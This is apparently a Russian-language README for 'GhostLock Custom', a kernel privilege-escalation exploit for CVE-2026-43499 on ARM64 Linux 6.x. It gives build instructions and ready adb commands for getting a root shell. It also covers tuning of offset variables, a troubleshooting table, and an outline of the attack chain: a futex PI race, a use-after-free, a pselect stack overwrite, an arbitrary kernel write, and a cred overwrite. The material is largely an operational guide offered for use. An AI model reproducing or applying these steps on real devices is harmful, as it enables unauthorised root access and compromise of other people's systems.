GhostLock Custom — адаптированная версия CVE-2026-43499

Эксплойт привилегий GhostLock (CVE-2026-43499) для ядер не-Android Linux 6.x ARM64.

Характеристики ядра

Параметр	Значение
Архитектура	ARM64 (AArch64)
VA_BITS	39
KIMAGE_TEXT_BASE	0xffffffc008000000
Версия ядра	6.x
SELinux	нет
ashmem	нет
configfs	нет

Сборка

Локальная сборка (требуется кросс-компилятор)

make

Сборка через Android NDK

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (облачная сборка)

После push автоматически запускается сборка, достаточно скачать artifact.

Использование

# Отправка на целевое устройство
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# Получение root shell
adb shell /data/local/tmp/e --shell

# Подстройка смещения pselect (если значение по умолчанию не работает)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# Указание физического адреса загрузки
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

Переменные окружения

Переменная	Значение по умолчанию	Описание
PSELECT_SHIFT	-2	Смещение pselect waiter в стеке
KPHYS	0x80000000	Физический адрес загрузки ядра
KIMAGE_TEXT_BASE	0xffffffc008000000	Виртуальный базовый адрес ядра

Принцип повышения привилегий

1. Гонка futex PI: FUTEX_CMP_REQUEUE_PI запускает UAF в remove_waiter()
2. Перезапись стека pselect: освобождённый rt_mutex_waiter попадает в буфер stack_fds
3. Запись в дерево PI: через сконструированный fake waiter осуществляется запись по произвольному адресу ядра
4. Перезапись cred: task_struct->cred перезаписывается на init_cred

Примечания по адаптации

Данная версия урезана на основе ghostlock-oneplus:

• удалён код отключения SELinux (в этом ядре SELinux нет)
• удалён код, связанный с ashmem/configfs (в этом ядре этих компонентов нет)
• удалён код установки KernelSU
• удалено раскрытие SLIDE KASLR (нет loggers/nfulnl_logger)
• удалён Android-специфичный код (miniADB и т.п.)

Поиск и устранение неисправностей

Симптом	Возможная причина	Способ решения
Устройство перезагружается	Неверный PSELECT_SHIFT	Перебирать значения от -4 до +4
Нет эффекта	Неверный KPHYS	Проверить правильное значение в /proc/iomem
perf_event_open failed	Ограничение seccomp	Попробовать запуск через ADB shell
Нет root	Несовпадение смещений	Проверить версию ядра, сверить TASK_CRED_OFF

Отказ от ответственности

Данный инструмент предназначен только для исследований в области безопасности. Всю ответственность за использование несёт пользователь.